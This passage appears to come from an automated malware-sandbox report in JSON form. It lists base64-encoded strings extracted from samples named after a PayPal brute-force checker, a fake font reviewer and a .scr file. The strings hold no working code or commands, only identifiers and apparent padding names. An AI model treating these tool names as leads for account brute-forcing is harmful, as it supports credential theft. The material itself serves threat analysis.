File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXR0cmlidXRlTWFwcGluZw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXR0cmlidXRlUGFyYW1ldGVyRmlsdGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXR0cmlidXRlUGFyc2VTdGF0ZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YXR0cmlidXRlUG9saWN5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXR0cmlidXRlUG9saWN5UmVjb3Jk","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXR0cmlidXRlUHJvcGVydHk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YXR0cmlidXRlUmVxdWVzdA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXR0cmlidXRlcw==","type":"Unicode","source":"Runtime Data","process":"PayPalBrute_Checker.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QXR0cmlidXRlU2NoZW1h","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXR0cmlidXRlVGFyZ2V0cw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXR0cmlidXRlVGhyZWFk","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXR0cmlidXRlVXNhZ2VBdHRyaWJ1dGU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXR0cmlidXRlV29ya2VyVGVtcGxhdGU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YXR0cklzc3Vlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YXR0ckl0ZXJhdG9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXR0ck1hcEZpbHRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXR0ck1hcHBpbmdTdGF0dXM=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXR0clBhZ2VWaXNpdG9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YXR0clBvbGljeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YXR0clByb3BlcnR5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YXR0clJlcG9uc2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YXR0clJlcXVlc3Q=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YXR0clNjaGVtYQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXR0clNlcnZpY2VMaWNlbnNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YXR0clNwZWNpZmljYXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YXR0cldvcmtlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXVkaW8gYXZlcmFnZSBieXRlcyBwZXIgc2Vjb25k","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXVkaW8gYml0cyBwZXIgc2FtcGxl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXVkaW8gYmxvY2sgYWxpZ25tZW50","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXVkaW8gRGVjb2Rlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXVkaW8gRWZmZWN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXVkaW8gRW5jb2Rlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXVkaW8gZW5jb2RpbmcgYml0cmF0ZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXVkaW8gaXMgdmFyaWFibGUgYml0cmF0ZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXVkaW8gbnVtYmVyIG9mIGNoYW5uZWxz","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXVkaW8gc2FtcGxlcyBwZXIgc2Vjb25k","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXVkaW9GaWxlQWYxMA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXVkaW9GaWxlQWYzNg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXV0aGVudGljYXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YXV0aGVudGljYXRpb25BZGFwdGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YXV0aGVudGljYXRpb25BbGdv","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YXV0aGVudGljYXRpb25DbGllbnQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YXV0aGVudGljYXRpb25Db25maWc=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXV0aGVudGljYXRpb25Db25maWdRdWV1ZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXV0aGVudGljYXRpb25GaWx0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXV0aGVudGljYXRpb25HbG9iYWxTdHVi","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YXV0aGVudGljYXRpb25Jc3N1ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YXV0aGVudGljYXRpb25JdGVyYXRvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXV0aGVudGljYXRpb25Nb2Rl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YXV0aGVudGljYXRpb25QYXJhbWV0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YXV0aGVudGljYXRpb25Qb2xpY3k=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YXV0aGVudGljYXRpb25SZXBvc2l0b3J5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YXV0aGVudGljYXRpb25SZXF1ZXN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXV0aGVudGljYXRpb25SZXF1ZXN0RW50cnk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YXV0aGVudGljYXRpb25TY2hlbWE=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXV0aGVudGljYXRpb25TY2hlbWFDbGFzcw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXV0aGVudGljYXRpb25TcGVjaWZpY2F0aW9uTGlzdGVuZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXV0aGVudGljYXRpb25TdHViU3RydWN0QnVpbGRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXV0aGVudGljYXRpb25UYWc=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YXV0aGVudGljYXRpb25Ub2tlbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXV0aGVudGljb2RlRW5hYmxlZA==","type":"Unicode","source":"Runtime Data","process":"PayPal.scr","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QXV0aG9yaXphdGlvblJ1bGU=","type":"Ansi","source":"Memory/File Scan","process":"WatchBull.exe","filename":"00101338-00001632.00000000.101649.00872000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QXV0aG9yaXphdGlvblJ1bGVDb2xsZWN0aW9u","type":"Ansi","source":"Memory/File Scan","process":"WatchBull.exe","filename":"00101338-00001632.00000000.101649.00872000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QXV0aG9yaXpl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXV0b0NoZWNrU2VsZWN0","type":"Unicode","source":"Runtime Data","process":"PayPalBrute_Checker.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QXV0b0RldGVjdA==","type":"Unicode","source":"Runtime Data","process":"PayPalBrute_Checker.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QXV0b2RpYWxETEw=","type":"Unicode","source":"Runtime Data","process":"fontreview.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QXV0b0l0IEVycm9y","type":"Unicode","source":"Dropped File","process":null,"filename":"PayPal brute_checker.exe.2422335050","compromised":null,"detection_total":null,"total":null},{"value":"QXV0b0l0IHYz","type":"Unicode","source":"Dropped File","process":null,"filename":"PayPal brute_checker.exe.2422335050","compromised":null,"detection_total":null,"total":null},{"value":"QXV0b0l0IHYzIEdVSQ==","type":"Unicode","source":"Dropped File","process":null,"filename":"PayPal brute_checker.exe.2422335050","compromised":null,"detection_total":null,"total":null},{"value":"QVVUT0lULkVSUk9S","type":"Unicode","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QVVUT0lUVU5JQ09ERQ==","type":"Unicode","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QVVUT0lUVkVSU0lPTg==","type":"Unicode","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YXV0b3Bhc3MuZGxs","type":"Unicode","source":"Runtime Data","process":"90cc6e447d345bb1f103751ab038bbce19190db6.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QXV0b1Byb3h5QXV0b0xvZ29uSWZDaGFsbGVuZ2Vk","type":"Unicode","source":"Runtime Data","process":"fontreview.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QXV0b1Jlc2V0RXZlbnQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXV0b1NjYWxlTW9kZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXV0b1N1Z2dlc3Q=","type":"Unicode","source":"Runtime Data","process":"PayPal.scr","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QXZhaWxhYmxlIHN0eWxlcw==","type":"Unicode","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QXZlcmFnZSBiaXRyYXRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YXZpY2FwMzIuZGxs","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VBY2NvdW50","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VBZHZpc29y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VBbGdv","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VBbm5vdGF0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VBdHRy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VBdHRyaWJ1dGU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VBdXRoZW50aWNhdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VCYXNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VCcmlkZ2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VCcm9hZGNhc3Rlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VDYWxsYmFjaw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VDbGFzcw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VDbGllbnQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VDb2xsZWN0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VDb21wYXJhdG9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VDb21wb3Nlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VDb25maWc=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VDb25maWd1cmF0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VDb25uZWN0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VDb25zdW1lcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VDb250YWluZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VDb250ZXh0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VDcmVhdG9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VDdXN0b21lcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VEYXRhYmFzZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VEZWNvcmF0b3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VEZWZpbml0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VEZXNjcmlwdG9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VEaWM=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VEaXNwYXRjaGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VFcnJvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VFdmVudA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VFeGNlcHRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VFeHByZXNzaW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWNhZGU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWN0b3J5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlQWNjb3VudA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlQWRhcHRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlQW5ub3RhdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlQXR0cg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlQXR0cmlidXRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlQXV0aGVudGljYXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlQnJvYWRjYXN0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlQ2FsbGJhY2s=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlQ2FuZGlkYXRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlQ2xpZW50","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlQ29sbGVjdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlQ29tcGFyYXRvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlQ29tcG9zZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlQ29ubmVjdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlQ29uc3VtZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlQ29udGFpbmVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlQ29udGV4dA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlQ3JlYXRvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlQ3VzdG9tZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlRGF0YWJhc2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlRGVmaW5pdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlRGVzY3JpcHRvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlRGlj","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlRGlzcGF0Y2hlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlRXJyb3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlRXZlbnQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlRXhwb3J0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlRXhwcmVzc2lvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlRmFjdG9yeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlRmllbGQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlRmlsdGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlR2xvYmFs","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlSGVscGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlSWRlbnRpZmllcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlSW1wb3J0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlSW5mbw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlSW5pdGlhbGl6ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlSW5zdGFuY2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlSW50ZXJjZXB0b3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlSW50ZXJwcmV0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlSW52b2NhdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlSXNzdWVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlSXRlcmF0b3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlTWFw","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlTWFwcGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlTWVzc2FnZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlTWV0aG9k","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlTW9jaw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlT3JkZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlUGFnZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlUGFyYW0=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlUGFyYW1ldGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlUGFyc2Vy","type":"Ansi","source":"Dropped 